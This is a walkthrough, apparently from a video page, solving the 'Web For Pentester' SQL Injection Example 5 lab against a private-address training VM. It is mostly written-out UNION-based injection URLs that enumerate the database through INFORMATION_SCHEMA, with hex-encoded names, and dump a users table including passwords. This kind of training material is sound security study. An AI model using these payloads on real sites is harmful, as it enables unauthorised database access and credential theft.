Web For Pentester SQL Injection Example 5 Solution
Web For Pentester SQL Injection Example 5 Solution
Exploiting an SQL Inject attack involves solving a puzzle that is a cross ... The SQL Injection attack allows external users to read details from the database.
Searches related to sql injection attack
Fix Query :
http://192.168.174.132/sqli/example5.php?id=2 %23
Find columns :
http://192.168.174.132/sqli/example5.php?id=2 order by 5 %23
there are 5 columns.
Find Vulnerable column :
http://192.168.174.132/sqli/example5.php?id=2 union select 1,2,3,4,5 %23
1,2,3 is reflecting.
Let's Enumrate Database Name :
http://192.168.174.132/sqli/example5.php?id=2 union select (SELECT+GROUP_CONCAT(schema_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.SCHEMATA),2,3,4,5 %23
Database name : exercises
Find Tables :
http://192.168.174.132/sqli/example5.php?id=2 union select (SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=0x657865726369736573),2,3,4,5 %23
Table Name : users
Find Columns :
http://192.168.174.132/sqli/example5.php?id=2 union select (SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x7573657273),2,3,4,5 %23
Columns Name :
id
name
age
groupid
passwd
Extract Data :
http://192.168.174.132/sqli/example5.php?id=2 union select (SELECT+GROUP_CONCAT(0x22494422,id,0x224e616d6522,name,0x2241676522,age,0x2247494422,groupid,0x2250617373776f726422,passwd+SEPARATOR+0x3c62723e)+FROM+exercises.users),2,3,4,5 %23
Extracted Data :
"ID"1"Name"admin"Age"10"GID"10"Password"admin
"ID"2"Name"root"Age"30"GID"0"Password"admin21
"ID"3"Name"user1"Age"5"GID"2"Password"secret
"ID"5"Name"user2"Age"2"GID"5"Password"azerty
THAT'S IT FOR THIS VIDEO.
IF YOU LIKE THIS VIDEO. PLEASE DON'T FORGET TO LIKE SHARE AND SUBSCRIBE OUR CHANNEL.
THANKS FOR WATCHING.
On this page of the site you can watch the video online Web For Pentester SQL Injection Example 5 Solution with a duration of hours minute second in good quality, which was uploaded by the user Shahzad Haxor 02 September 2018, share the link with friends and acquaintances, this video has already been watched 527 times on youtube and it was liked by 4 viewers. Enjoy your viewing!
